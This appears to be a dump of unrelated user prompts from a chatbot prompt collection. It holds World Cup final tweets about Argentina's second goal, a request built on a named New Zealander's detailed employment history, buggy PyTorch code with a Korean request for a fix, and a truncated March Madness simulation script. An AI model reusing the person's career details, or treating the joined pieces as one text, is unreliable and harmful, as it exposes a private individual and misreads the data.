#ARGFRA #WorldCupFinal #ArgentinaVsFrance 15:36:33.0000000\nBeautiful goal.'#ARGFRA 15:35:54.0000000\nBeautiful Beautiful goal. France have not got going... 15:36:12.0000000\nWhat a ball by MacAllister!! Beautiful goal #BHAFC #ArgentinaVsFrance 15:36:52.0000000\nWhat a beautiful goal by Argentina #ArgentinaVsFrance 15:36:01.0000000\nBeautiful goal by Argentina to be fair 15:36:50.0000000\nDi Maria, beautiful goal ''#Argentina #FIFAWorldCupFinal 15:36:41.0000000\nwow that passing and goal was beautiful ''Argentina is not playing today ''#FIFAWorldCup #Arg 15:36:55.0000000\nOooof. Worst part is -- it's a beautiful goal and well deserved. #ArgentinaVsFrance 15:36:27.0000000\nDi Maria with a beautiful goal and Argentins double their lead. France is not themselves today. #ARGFRA 15:36:22.0000000\nJust beautiful football. Beautiful goal #ArgentinaVsFrance #WorldCupFinal 15:36:32.0000000\nArgentina deserves this. Team work and a goal. That is just beautiful ????????. #Yearofthegoat 15:36:40.0000000\nBeautiful goal Argentina 15:36:04.0000000\nWhat a beautiful goal by Argentina Jesus Christ 15:36:09.0000000\nBeautiful goal #ArgentinaVsFrance 15:36:19.0000000\nBeautiful goal. ??? Fantastic. #ArgentinaVsFrance #FIFAWorldCup #FIFAWorldCupFinal 15:36:13.0000000\nBeautiful goal by Argentina 15:36:10.0000000\nBeautiful goal?????? #ArgentinaVsFrance 15:36:10.0000000\nBeautiful goal from Argentina. 15:36:15.0000000\nWhat a beautiful goal! #ArgentinaVsFrance 15:36:08.0000000\nFucking beautiful SECOND GOAL''LEGGGOOO ARGENTINA ???????? 15:36:55.0000000\nWhat a beautiful goal!!!! #ArgentinaVsFrance 15:36:40.0000000\nBeautiful goal! Just beautiful…. #ARGFRA #WorldCupFinal 15:36:06.0000000\nARGENTINA WHAT A BEAUTIFUL GOAL!!! 15:36:24.0000000\nBeautiful Goal!!!! #ArgentinaVsFrance #FIFAWorldCup #Messi??day 15:36:39.0000000\nBeautiful goal #ArgentinaVsFrance 15:36:57.0000000\nWhat a beautiful goal damnnnn ?? Go on Argentina!!!! 15:36:00.0000000\n2-0! What a beautiful goal! ?? #FIFAWorldCup #ArgentinaVsFrance 15:36:33.0000000\nWhat a beautiful goal #ARGFRA 15:36:11.0000000\nThat was terrific! ''That was absolutely beautiful! ''This goal was fully deserved!!''#FIFAWorldCupFinal #ArgentinaVsFrance #Messi?? 15:36:25.0000000\nBeautiful fucken second goal by Argentina hahahaha omg that was a team goal 15:36:57.0000000\nDamn that was a beautiful sequence for the 2-0 Argentina goal?? 15:36:29.0000000\nThat'Was'BEAUTIFUL FOOTBALL ''WWWWOOOOWWWWW''Look at how they turned a France half chance to a PERFECT Argentine counter and goal!''Whole French Midfield and Defense in straight shambles 15:36:59.0000000\nWhat a beautiful goal that was ???? #ArgentinaVsFrance 15:36:19.0000000\nAbsolutely beautiful goal by Argentina. Perfection. 15:36:40.0000000\nThat’s a beautiful, beautiful goal by Argentina 15:36:45.0000000\nBeautiful goal by Di Maria #ArgentinaVsFrance #FIFAWorldCup 15:36:18.0000000\nTHAT WAS A BEAUTIFUL GOAL FROM ARGENTINA 15:36:49.0000000\nwhat a beautiful goal #ARGFRA 15:36:18.0000000\nCalled it. This one goal was fucking beautiful! #ARGFRA 15:35:55.0000000\nThat goal was BEAUTIFUL #ARGFRA 15:36:19.0000000\nWhat a beautiful Argentina goal. 15:35:56.0000000\nBeautiful Argentina goal!! What a cross!!!! #FIFAWorldCup #ArgentinaVsFrance 15:36:42.0000000\nWhat a beautiful goal by Argentina. #FIFAWorldCup 15:36:55.0000000\nThat was such a beautiful goal, it was seamless and effortless. Messi has one hand on the #WorldCup trophy 2-0 #ArgentinaVsFrance #Qatar2022 15:36:53.0000000\nWhat a beautiful goal! So we’ll played by Argentina. 15:36:58.0000000\nThat was a beautiful goal!! ?? #WorldCupFinal 15:36:29.0000000\nBEAUTIFUL GOAL FROM ARGENTINA WTF 15:36:29.0000000\nYESSS WHAT A BEAUTIFUL GOAL BY ARGENTINA 15:36:29.0000000\nWhat a beautiful goal! One touch football!! Orgasmic play from Argentina ???? 15:36:50.0000000\nOh my word. Argentina deserve the trophy for that goal alone. Absolutely beautiful ?? #WorldCupFinal 15:36:30.0000000\nBeautiful goal in the run of play. Argentina is completely dominating France. 15:36:40.0000000\nThat is a beautiful goal. What a move by Argentina. #ArgentinaVsFrance #FIFAWorldCup 15:36:38.0000000\nThat’s a beautiful and perfect goal for Argentina 15:36:25.0000000\nWhat a beautiful goal, vamos Argentina!!! 15:36:55.0000000\nThat was a beautiful goal! 2-0 Argentina in the 36th minute. 15:36:50.0000000\nDI MARIA WHAT A BEAUTIFUL FUCKING GOAL ARGENTINA WHAT A BEAUTIFUL FUCKING PLAY 15:36:23.0000000\nWhat. A. Beautiful. Goal. #ArgentinaVsFrance #FIFAWorldCup 15:36:54.0000000\nBeautiful second goal for Argentina omg yesss 15:35:56.0000000\nThat was such a beautiful goal for Argentina 15:36:50.0000000\nArgentina ???? what a beautiful goal!!! 15:36:22.0000000\nChampagne football ?? Beautiful team goal ???? #ArgentinaVsFrance 15:36:29.0000000\nThat was a beautiful goal ''Thats a wrap France are no coming back from this 15:36:55.0000000\nBeautiful ball movement by Argentina on that goal''#WorldCupFinal 15:36:59.0000000\nBeautiful second goal.'Just beautiful #ArgentinaVsFrance #WorldCup 15:35:53.0000000\nBeautiful goal! #FIFAWorldCupFinal ???? 15:36:27.0000000\n2-0!!!!!!!!!! Argentina!!!!!!!! What a beautiful goal!!!!!!!!! ????'#FIFAWorldCup #WorldCup 15:36:32.0000000\nWhat a beautiful goal. 'France are asleep 15:36:45.0000000\nBeautiful team goal worthy of the finals #WorldCup 'Argentina deserves to win this better team all game 15:36:57.0000000\nBeautiful goal!!! #WorldCup #ArgentinaVsFrance 15:36:27.0000000\nBeautiful goal. France have been shocking 15:35:58.0000000" -'Rewrite the above response with a focus on my relevant experience and skills listed below: ChairpersonChairperson\nRatana Hapakuku Whānau TrustRatana Hapakuku Whānau Trust\nSep 2020 - Present · 2 yrs 6 mosSep 2020 - Present · 2 yrs 6 mos\nCurrently the chairperson of my Whānau Trust. Duties include chairing meetings, helping to manage portfolios, etc.Currently the chairperson of my Whānau Trust. Duties include chairing meetings, helping to manage portfolios, etc.\nCo-ChairCo-Chair\nNgāti Wairupe raua ko Ngāti Kurī Inc. SocietyNgāti Wairupe raua ko Ngāti Kurī Inc. Society\nApr 2007 - Present · 15 yrs 11 mosApr 2007 - Present · 15 yrs 11 mos\nCivil Rights and Social ActionCivil Rights and Social Action\nI have assisted my hapū with matters relating to treaty claims, genealogy, research, and planning for over a decade now.I have assisted my hapū with matters relating to treaty claims, genealogy, research, and planning for over a decade now.\nPanel MemberPanel Member\nTe Ohu Mana RangatahiTe Ohu Mana Rangatahi\nMay 2013 - Oct 2016 · 3 yrs 6 mosMay 2013 - Oct 2016 · 3 yrs 6 mos\nCivil Rights and Social ActionCivil Rights and Social Action\nThe group was originally a part of the Auckland Council. I was an active member who helped to advocate for rangatahi throughout the wider Auckland region. We facilitated activities such as wananga and workshops. The aim of the group was to improve outcomes for rangatahi.The group was originally a part of the Auckland Council. I was an active member who helped to advocate for rangatahi throughout the wider Auckland region. We facilitated activities such as wananga and workshops. The aim of the group was to improve outcomes for rangatahi.\nKoha Apparel logo\nRegional LeadRegional Lead\nKoha ApparelKoha Apparel\nAug 2021 - Present · 1 yr 7 mosAug 2021 - Present · 1 yr 7 mos\nCivil Rights and Social ActionCivil Rights and Social Action\nKoha Apparel is a not-for-profit, pay-as-you-can retail experience, using repurposed apparel.Koha Apparel is a not-for-profit, pay-as-you-can retail experience, using repurposed apparel.\n"I Have A Dream"\u200b Foundation logo\nMentorMentor\n"I Have A Dream"\u200b Foundation"I Have A Dream"\u200b Foundation\nFeb 2022 - Present · 1 yr 1 moFeb 2022 - Present · 1 yr 1 mo\nChildrenChildren\nI currently volunteer as a mentor for highschool aged rangatahi based in Whangārei.I currently volunteer as a mentor for highschool aged rangatahi based in Whangārei.\nRugby League Northland logo\nAssistant CoachAssistant Coach\nRugby League NorthlandRugby League Northland\nNov 2022 - Present · 4 mosNov 2022 - Present · 4 mos\nChildrenChildren\nI am a volunteer assistant coach for the Northern Swords Rugby League U16 team, competing in the 2023 Shaun Johnson Shield competition.\n\nManaging DirectorManaging Director\nNative Media Limited · Self-employedNative Media Limited · Self-employed\nAug 2018 - Present · 4 yrs 7 mosAug 2018 - Present · 4 yrs 7 mos\nWhangarei, Northland, New ZealandWhangarei, Northland, New Zealand\nNative Media Limited is a full-service marketing agency specialising in business and marketing consultancy. Examples of our clients include the Ministry of Education, Department of Corrections, and other various governmental and non-governmental organisations.Native Media Limited is a full-service marketing agency specialising in business and marketing consultancy. Examples of our clients include the Ministry of Education, Department of Corrections, and other various governmental and non-governmental organisations.\nDepartment of Conservation (DOC) logo\nBoard Member - Northland Conservation BoardBoard Member - Northland Conservation Board\nDepartment of Conservation (DOC)Department of Conservation (DOC)\nJul 2022 - Present · 8 mosJul 2022 - Present · 8 mos\nNorthland, New ZealandNorthland, New Zealand\nI was appointed as a board member of the Northland Conservation Board by the then Minister for Conservation Hon Poto Williams in July 2022. Te Rūnanga Papa Atawhai O Te Tai Tokerau/Northland Conservation Board is the community’s voice in conservation management in the region. The board gives advice to DOC on local conservation matters and carries out important planning roles. A major responsibility of the board is in the development and implementation of the Northland Conservation Management Strategy.I was appointed as a board member of the Northland Conservation Board by the then Minister for Conservation Hon Poto Williams in July 2022. Te Rūnanga Papa Atawhai O Te Tai Tokerau/Northland Conservation Board is the community’s voice in conservation management in the region. The board gives advice to DOC on local conservation matters and carries out important planning roles. A major responsibility of the board is in the development and implementation of the Northland Conservation Management Strategy.\n\nTe Rūnanga Papa Atawhai O Te Tai Tokerau/Northland Conservation BoardTe Rūnanga Papa Atawhai O Te Tai Tokerau/Northland Conservation Board\nWharePR logo\nSenior Business ConsultantSenior Business Consultant\nWharePR · FreelanceWharePR · Freelance\nJun 2021 - Present · 1 yr 9 mosJun 2021 - Present · 1 yr 9 mos\nI currently manage accounts for a boutique PR and Communications agency focussed on assisting Māori businesses and organisations. My duties include drafting internal and external communications plans, media relations, and more.I currently manage accounts for a boutique PR and Communications agency focussed on assisting Māori businesses and organisations. My duties include drafting internal and external communications plans, media relations, and more.\nThe Spinoff logo\nGuest WriterGuest Writer\nThe Spinoff · FreelanceThe Spinoff · Freelance\nMar 2021 - Present · 2 yrsMar 2021 - Present · 2 yrs\nI regularly contribute articles to both The Spinoff and its commercial arm Daylight Creative.I regularly contribute articles to both The Spinoff and its commercial arm Daylight Creative.\nNew Zealand Herald logo\nFreelance Writer / CommentatorFreelance Writer / Commentator\nNew Zealand Herald · FreelanceNew Zealand Herald · Freelance\nJul 2021 - Present · 1 yr 8 mosJul 2021 - Present · 1 yr 8 mos\nColumnist and commentator focussed on Māori issues.Columnist and commentator focussed on Māori issues.\nNorthland Regional Council logo\nKaiawhina Pārongo / Communications AdvisorKaiawhina Pārongo / Communications Advisor\nNorthland Regional Council · ContractNorthland Regional Council · Contract\nNov 2021 - Nov 2022 · 1 yr 1 moNov 2021 - Nov 2022 · 1 yr 1 mo\nWhangarei, Northland, New ZealandWhangarei, Northland, New Zealand\nI work on the Community Engagement team at Northland Regional Council. My role includes acting as Account Lead for Māori Engagement.I work on the Community Engagement team at Northland Regional Council. My role includes acting as Account Lead for Māori Engagement.\nMultimedia JournalistMultimedia Journalist\nNZME · Full-timeNZME · Full-time\nMar 2021 - Jun 2021 · 4 mosMar 2021 - Jun 2021 · 4 mos\nWhangarei, Northland, New ZealandWhangarei, Northland, New Zealand\nA multimedia journalist for the Northern Advoacate covering Māori, health, and general news.A multimedia journalist for the Northern Advoacate covering Māori, health, and general news.\nTVNZ logo\nMultimedia JournalistMultimedia Journalist\nTVNZ · Full-timeTVNZ · Full-time\nOct 2020 - Mar 2021 · 6 mosOct 2020 - Mar 2021 · 6 mos\nAuckland, New ZealandAuckland, New Zealand\nMāori and Pasifika specialist for Re: News.Māori and Pasifika specialist for Re: News.\nRed Bull logo\nCommunications SpecialistCommunications Specialist\nRed BullRed Bull\nOct 2019 - Oct 2020 · 1 yr 1 moOct 2019 - Oct 2020 · 1 yr 1 mo\nAuckland, New ZealandAuckland, New Zealand\nAmplification of Red Bull Media House stories, day-to-day management of RedBull.com, corporate/internal communications, ideation, backend management.Amplification of Red Bull Media House stories, day-to-day management of RedBull.com, corporate/internal communications, ideation, backend management.\nJournalistJournalist\nCook Islands NewsCook Islands News\nFeb 2018 - Sep 2019 · 1 yr 8 mosFeb 2018 - Sep 2019 · 1 yr 8 mos\nRarotonga, Cook IslandsRarotonga, Cook Islands\nWorked full time in the news room as a reporter. Covered various topics including crime, politics, sports, etc. Was then employed on a freelance basis.Worked full time in the news room as a reporter. Covered various topics including crime, politics, sports, etc. Was then employed on a freelance basis.\nVICE Media Asia Pacific logo\nContent WriterContent Writer\nVICE Asia PacificVICE Asia Pacific\nDec 2016 - Mar 2019 · 2 yrs 4 mosDec 2016 - Mar 2019 · 2 yrs 4 mos\nAuckland, New ZealandAuckland, New Zealand\nI was a content writer for VICE, regularly contributing articles, photography, and content ideas. I also hosted panel discussions and helped with strategic partnerships.I was a content writer for VICE, regularly contributing articles, photography, and content ideas. I also hosted panel discussions and helped with strategic partnerships.\nBauer Media Group logo\nEditorial Assistant/Junior WriterEditorial Assistant/Junior Writer\nBauer Media GroupBauer Media Group\nAug 2017 - Nov 2017 · 4 mosAug 2017 - Nov 2017 · 4 mos\nAuckland, New ZealandAuckland, New Zealand\nI was an Editorial Assistant and Junior Writer at New Zealand\'s largest publishing company. I carried out various administrative tasks, such as commissioning, invoicing, and managing stock for Metro and Paperboy magazines. My writing also featured in both of these publications.I was an Editorial Assistant and Junior Writer at New Zealand\'s largest publishing company. I carried out various administrative tasks, such as commissioning, invoicing, and managing stock for Metro and Paperboy magazines. My writing also featured in both of these publications.\nMedia OperatorMedia Operator\nMāori TelevisionMāori Television\nOct 2016 - Dec 2016 · 3 mosOct 2016 - Dec 2016 · 3 mos\nAuckland, New ZealandAuckland, New Zealand\nI was a member of Māori Television\'s core cinetape team. We were in charge of various tasks, including quality control, ingesting raw footage, and other linear and non-linear interactions.I was a member of Māori Television\'s core cinetape team. We were in charge of various tasks, including quality control, ingesting raw footage, and other linear and non-linear interactions.\nStatisticianStatistician\nKahawai ProductionsKahawai Productions\n2012 - 2016 · 4 yrs2012 - 2016 · 4 yrs\nAuckland, New ZealandAuckland, New Zealand\nI was a live sports statistician for a production company in Auckland, New Zealand.I was a live sports statistician for a production company in Auckland, New Zealand.\nSky New Zealand logo\nStatisticianStatistician\nSky New ZealandSky New Zealand\nMay 2012 - Sep 2014 · 2 yrs 5 mosMay 2012 - Sep 2014 · 2 yrs 5 mos\nAuckland, New ZealandAuckland, New Zealand\nWorked for the largest television network in New Zealand as a live sports statistician.' -'import torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.utils.data import Dataset, DataLoader\nfrom sklearn.metrics import f1\\_score\nfrom tqdm import tqdm\nimport transformers\n\n# Define the MLP model\nclass MLP(nn.Module):\n def \\_\\_init\\_\\_(self, input\\_dim, hidden\\_dim, output\\_dim):\n super(MLP, self).\\_\\_init\\_\\_()\n self.fc1 = nn.Linear(input\\_dim, hidden\\_dim)\n self.fc2 = nn.Linear(hidden\\_dim, output\\_dim)\n \n def forward(self, x):\n x = torch.relu(self.fc1(x))\n x = self.fc2(x)\n return x\n\n# Define the custom dataset\nclass NewsDataset(Dataset):\n def \\_\\_init\\_\\_(self, csv\\_file, tokenizer):\n self.data = pd.read\\_csv(csv\\_file)\n self.tokenizer = tokenizer\n \n def \\_\\_len\\_\\_(self):\n return len(self.data)\n \n def \\_\\_getitem\\_\\_(self, idx):\n text = self.data.iloc[idx][\'text\']\n label = self.data.iloc[idx][\'label\']\n text\\_tensor = torch.tensor(self.tokenizer.encode(text)).long()\n label\\_tensor = torch.tensor(label).long()\n return text\\_tensor, label\\_tensor\n# Define the training function\ndef train(model, device, train\\_loader, optimizer, criterion):\n model.train()\n running\\_loss = 0.0\n for batch\\_idx, (data, target) in enumerate(train\\_loader):\n data, target = data.to(device), target.to(device)\n optimizer.zero\\_grad()\n output = model(data)\n loss = criterion(output, target)\n loss.backward()\n optimizer.step()\n running\\_loss += loss.item()\n train\\_loss = running\\_loss / len(train\\_loader)\n return train\\_loss\n# Define the evaluation function\ndef evaluate(model, device, test\\_loader):\n model.eval()\n y\\_true, y\\_pred = [], []\n with torch.no\\_grad():\n for data, target in test\\_loader:\n data, target = data.to(device), target.to(device)\n output = model(data)\n pred = output.argmax(dim=1)\n y\\_true.extend(target.cpu().numpy())\n y\\_pred.extend(pred.cpu().numpy())\n f1 = f1\\_score(y\\_true, y\\_pred, average=\'macro\')\n return f1\n# Set the device\ndevice = torch.device(\'cuda:0\' if torch.cuda.is\\_available() else \'cpu\')\n\n# Set the hyperparameters\ninput\\_dim = 300 # word embedding size\nhidden\\_dim = 128\noutput\\_dim = 8 # number of labels\nlr = 0.001\nnum\\_epochs = 10\n\n# Load the data\ntokenizer = transformers.RobertaTokenizer.from\\_pretrained(\'roberta-base\', max\\_length=512)\ntrain\\_dataset = NewsDataset(\'train.csv\', tokenizer)\ntest\\_dataset = NewsDataset(\'test.csv\', tokenizer)\ntrain\\_loader = DataLoader(train\\_dataset, batch\\_size=32, shuffle=True)\ntest\\_loader = DataLoader(test\\_dataset, batch\\_size=32, shuffle=False)\n\n# Initialize the model, criterion, and optimizer\nmodel = MLP(input\\_dim, hidden\\_dim, output\\_dim).to(device)\ncriterion = nn.CrossEntropyLoss()\noptimizer = optim.Adam(model.parameters(), lr=lr)\n\n# Train the model\nfor epoch in range(num\\_epochs):\n train\\_loss = train(model, device, train\\_loader, optimizer, criterion)\n f1 = evaluate(model, device, test\\_loader)\n print(\'Epoch: {} | Train loss: {:.4f} | F1 score: {:.4f}\'.format(epoch+1, train\\_loss, f1))\n\nToken indices sequence length is longer than the specified maximum sequence length for this model (574 > 512). Running this sequence through the model will result in indexing errors\n---------------------------------------------------------------------------\nRuntimeError Traceback (most recent call last)\nInput In [35], in ()\n 93 # Train the model\n 94 for epoch in range(num\\_epochs):\n---> 95 train\\_loss = train(model, device, train\\_loader, optimizer, criterion)\n 96 f1 = evaluate(model, device, test\\_loader)\n 97 print(\'Epoch: {} | Train loss: {:.4f} | F1 score: {:.4f}\'.format(epoch+1, train\\_loss, f1))\n\nInput In [35], in train(model, device, train\\_loader, optimizer, criterion)\n 40 model.train()\n 41 running\\_loss = 0.0\n---> 42 for batch\\_idx, (data, target) in enumerate(train\\_loader):\n 43 data, target = data.to(device), target.to(device)\n 44 optimizer.zero\\_grad()\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\dataloader.py:628, in \\_BaseDataLoaderIter.\\_\\_next\\_\\_(self)\n 625 if self.\\_sampler\\_iter is None:\n 626 # TODO(https://github.com/pytorch/pytorch/issues/76750)\n 627 self.\\_reset() # type: ignore[call-arg]\n--> 628 data = self.\\_next\\_data()\n 629 self.\\_num\\_yielded += 1\n 630 if self.\\_dataset\\_kind == \\_DatasetKind.Iterable and \\\n 631 self.\\_IterableDataset\\_len\\_called is not None and \\\n 632 self.\\_num\\_yielded > self.\\_IterableDataset\\_len\\_called:\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\dataloader.py:671, in \\_SingleProcessDataLoaderIter.\\_next\\_data(self)\n 669 def \\_next\\_data(self):\n 670 index = self.\\_next\\_index() # may raise StopIteration\n--> 671 data = self.\\_dataset\\_fetcher.fetch(index) # may raise StopIteration\n 672 if self.\\_pin\\_memory:\n 673 data = \\_utils.pin\\_memory.pin\\_memory(data, self.\\_pin\\_memory\\_device)\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\\\_utils\\fetch.py:61, in \\_MapDatasetFetcher.fetch(self, possibly\\_batched\\_index)\n 59 else:\n 60 data = self.dataset[possibly\\_batched\\_index]\n---> 61 return self.collate\\_fn(data)\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\\\_utils\\collate.py:265, in default\\_collate(batch)\n 204 def default\\_collate(batch):\n 205 r"""\n 206 Function that takes in a batch of data and puts the elements within the batch\n 207 into a tensor with an additional outer dimension - batch size. The exact output type can be\n (...)\n 263 >>> default\\_collate(batch) # Handle `CustomType` automatically\n 264 """\n--> 265 return collate(batch, collate\\_fn\\_map=default\\_collate\\_fn\\_map)\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\\\_utils\\collate.py:143, in collate(batch, collate\\_fn\\_map)\n 140 transposed = list(zip(\\*batch)) # It may be accessed twice, so we use a list.\n 142 if isinstance(elem, tuple):\n--> 143 return [collate(samples, collate\\_fn\\_map=collate\\_fn\\_map) for samples in transposed] # Backwards compatibility.\n 144 else:\n 145 try:\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\\\_utils\\collate.py:143, in (.0)\n 140 transposed = list(zip(\\*batch)) # It may be accessed twice, so we use a list.\n 142 if isinstance(elem, tuple):\n--> 143 return [collate(samples, collate\\_fn\\_map=collate\\_fn\\_map) for samples in transposed] # Backwards compatibility.\n 144 else:\n 145 try:\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\\\_utils\\collate.py:120, in collate(batch, collate\\_fn\\_map)\n 118 if collate\\_fn\\_map is not None:\n 119 if elem\\_type in collate\\_fn\\_map:\n--> 120 return collate\\_fn\\_map[elem\\_type](batch, collate\\_fn\\_map=collate\\_fn\\_map)\n 122 for collate\\_type in collate\\_fn\\_map:\n 123 if isinstance(elem, collate\\_type):\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\\\_utils\\collate.py:163, in collate\\_tensor\\_fn(batch, collate\\_fn\\_map)\n 161 storage = elem.storage().\\_new\\_shared(numel, device=elem.device)\n 162 out = elem.new(storage).resize\\_(len(batch), \\*list(elem.size()))\n--> 163 return torch.stack(batch, 0, out=out)\n\nRuntimeError: stack expects each tensor to be equal size, but got [52] at entry 0 and [347] at entry 1\n\n해당 오류가 발생해서 코드를 수정해서 전체 코드를 작성해줘\n\nPlease write in English language.' -'import argparse\nimport math\nfrom collections import Counter\nfrom typing import List\n\nimport numpy as np\nfrom numpy.ma import exp\nfrom scipy.optimize import minimize\\_scalar\n\nfrom team import Team\n\nHISTORICAL\\_SEED\\_WIN\\_RATES = {\n (1, 16): 1.000,\n (2, 15): 0.917,\n (3, 14): 0.833,\n (4, 13): 0.750,\n (5, 12): 0.667,\n (6, 11): 0.583,\n (7, 10): 0.54,\n (8, 9): 0.500,\n}\n\nclass Tournament:\n\n def \\_\\_init\\_\\_(self, teams: List[Team], num\\_simulations: int, noise: float):\n self.teams: List[Team] = teams\n self.num\\_simulations = num\\_simulations\n self.k = self.find\\_best\\_k()\n self.adj\\_matrix = self.calculate\\_adj\\_matrix()\n self.noise = noise\n\n @staticmethod\n def get\\_opponent\\_index(team\\_index):\n return team\\_index + 1 if team\\_index % 2 == 0 else team\\_index - 1\n\n def calculate\\_adj\\_matrix(self):\n num\\_teams = len(self.teams)\n adj\\_matrix = np.zeros((num\\_teams, num\\_teams))\n\n for i, team\\_i in enumerate(self.teams):\n for j, team\\_j in enumerate(self.teams):\n if i != j:\n p\\_win = self.calculate\\_win\\_probability(team\\_i, team\\_j)\n adj\\_matrix[i, j] = p\\_win\n adj\\_matrix[j, i] = 1 - p\\_win\n\n return adj\\_matrix\n\n def run(self):\n print(f"\\nRound of {len(self.teams)}")\n print("teams in round: ", [\n f"{x.team\\_name} ({x.team\\_seed})"\n for x in self.teams\n ])\n if len(self.teams) == 0:\n print("No teams in the tournament. Exiting.")\n return\n\n if len(self.teams) == 1:\n print(f"Winner: {self.teams[0].team\\_name}")\n return\n\n winners = self.play\\_round()\n updated\\_tournament = Tournament(winners, self.num\\_simulations, self.noise)\n updated\\_tournament.run()\n\n @staticmethod\n def historical\\_upset\\_rate(seed1, seed2):\n return 1 - Tournament.get\\_midpoint\\_win\\_rate(seed1, seed2)\n\n @staticmethod\n def get\\_midpoint\\_win\\_rate(seed1, seed2):\n if seed1 == seed2:\n return 0.5\n\n lower\\_seed, higher\\_seed = sorted((seed1, seed2))\n\n left\\_tuple\\_win\\_rate = None\n right\\_tuple\\_win\\_rate = None\n\n for (lower, higher), win\\_rate in HISTORICAL\\_SEED\\_WIN\\_RATES.items():\n if lower == lower\\_seed:\n left\\_tuple\\_win\\_rate = win\\_rate\n if higher == higher\\_seed:\n right\\_tuple\\_win\\_rate = win\\_rate\n if lower == higher\\_seed:\n right\\_tuple\\_win\\_rate = 1 - win\\_rate\n if higher == lower\\_seed:\n left\\_tuple\\_win\\_rate = 1 - win\\_rate\n\n if left\\_tuple\\_win\\_rate is None or right\\_tuple\\_win\\_rate is None:\n raise ValueError(f"Win rate data not available for seeds {seed1} and {seed2}")\n\n win\\_rate = (left\\_tuple\\_win\\_rate + right\\_tuple\\_win\\_rate) / 2\n return win\\_rate\n\n def calculate\\_upset\\_rates(self):\n upset\\_rates = {}\n for i in range(0, len(self.teams), 2):\n seed1, seed2 = self.teams[i].team\\_seed, self.teams[i + 1].team\\_seed\n historical\\_upset\\_rate = self.historical\\_upset\\_rate(seed1, seed2)\n upset\\_rates[(i, i + 1)] = historical\\_upset\\_rate\n return upset\\_rates\n\n def select\\_winner(self, i, round\\_win\\_counts, upset\\_rates):\n # Calculate the probability of an upset based on historical seed win rates\n i\\_team = self.teams[i]\n j\\_team = self.teams[i + 1]\n i\\_is\\_better\\_score = i\\_team.ken\\_pom\\_score > j\\_team.ken\\_pom\\_score\n better\\_index = i if i\\_is\\_better\\_score else i + 1\n worse\\_index = i + 1 if i\\_is\\_better\\_score else i\n historical = upset\\_rates[(i, i + 1)]\n statistical = self.calculate\\_win\\_probability(\n self.teams[worse\\_index],\n self.teams[better\\_index]\n )\n \n # noise is added by using historical upset rates rather than team specific kenpom scores\n probability = (1 - self.noise) \\* statistical + self.noise \\* historical\n\n # If a random number is less than the probability of an upset, return the underdog\n if np.random.rand() < probability:\n index = i + 1 if i\\_is\\_better\\_score else i\n upset = True\n # Otherwise, return the favorite\n else:\n index = i if round\\_win\\_counts[i] > round\\_win\\_counts[i + 1] else i + 1\n upset = False\n\n return index, upset\n\n def play\\_round(self):\n round\\_win\\_counts = Counter()\n num\\_upsets = 0\n num\\_games = 0\n\n for \\_ in range(int(self.num\\_simulations \\* 64 / len(self.teams))):\n for i in range(0, len(self.teams), 2):\n win\\_i = np.random.rand() < self.adj\\_matrix[i, i + 1]\n winning\\_team\\_index = i if win\\_i else i + 1\n round\\_win\\_counts[winning\\_team\\_index] += 1\n\n i\\_underdog = self.teams[i].team\\_seed < self.teams[i + 1].team\\_seed\n j\\_underdog = self.teams[i].team\\_seed > self.teams[i + 1].team\\_seed\n\n underdog\\_i\\_won = i\\_underdog and win\\_i\n underdog\\_j\\_won = j\\_underdog and not win\\_i\n\n num\\_upsets += 1 if underdog\\_i\\_won or underdog\\_j\\_won else 0\n num\\_games += 1\n \n \n winning\\_team\\_indices = []\n\n realized\\_upsets = 0\n\n # Calculate upset rates for each matchup based on historical seed win rates\n upset\\_rates = self.calculate\\_upset\\_rates()\n\n for i in range(0, len(self.teams), 2):\n index, upset = self.select\\_winner(i, round\\_win\\_counts, upset\\_rates)\n realized\\_upsets += 1 if upset else 0\n winning\\_team\\_indices.append(index)\n\n i\\_team = self.teams[i]\n j\\_team = self.teams[i + 1]\n i\\_seed = i\\_team.team\\_seed\n j\\_seed = j\\_team.team\\_seed\n min\\_seed = min(i\\_seed, j\\_seed)\n max\\_seed = max(i\\_seed, j\\_seed)\n if upset:\n print(f"({i\\_team.team\\_name}, {j\\_team.team\\_name})"\n f"->{self.teams[index].team\\_name} "\n f\'\\*\\*UPSET\\*\\* {max\\_seed} over {min\\_seed}\')\n\n winning\\_teams: list[Team] = [self.teams[winner\\_index] for winner\\_index in winning\\_team\\_indices]\n\n print(f"Upset rate for this round: {realized\\_upsets / len(winning\\_teams):.2%}")\n\n return winning\\_teams\n\n def get\\_team\\_by\\_name(self, team\\_name: str):\n for team in self.teams:\n if team.team\\_name == team\\_name:\n return team\n return None\n\n def calculate\\_win\\_probability(self, team\\_i: Team, team\\_j: Team):\n ken\\_pom\\_diff = team\\_i.ken\\_pom\\_score - team\\_j.ken\\_pom\\_score\n probability = 1 / (1 + math.exp(-self.k \\* ken\\_pom\\_diff))\n return probability\n\n @staticmethod\n def error\\_function(k, average\\_kenpom\\_difference):\n error = 0\n for matchup, historical\\_probability in HISTORICAL\\_SEED\\_WIN\\_RATES.items():\n difference = average\\_kenpom\\_difference[matchup]\n probability = 1 / (1 + exp(-k \\* difference))\n error += (probability - historical\\_probability) \\*\\* 2\n return error\n\n @staticmethod\n def average\\_kenpom\\_difference(max\\_seed=16, kenpom\\_range=(0, 40)):\n min\\_kenpom, max\\_kenpom = kenpom\\_range\n kenpom\\_increment = (max\\_kenpom - min\\_kenpom) / max\\_seed\n average\\_difference = {}\n\n for higher\\_seed in range(1, max\\_seed + 1):\n for lower\\_seed in range(higher\\_seed + 1, max\\_seed + 1):\n higher\\_seed\\_kenpom = max\\_kenpom - (higher\\_seed - 1) \\* kenpom\\_increment\n lower\\_seed\\_kenpom = max\\_kenpom - (lower\\_seed - 1) \\* kenpom\\_increment\n average\\_difference[(higher\\_seed, lower\\_seed)] = higher\\_seed\\_kenpom - lower\\_seed\\_kenpom\n\n return average\\_difference\n\n @staticmethod\n def find\\_best\\_k():\n average\\_difference = Tournament.average\\_kenpom\\_difference()\n result = minimize\\_scalar(Tournament.error\\_function, 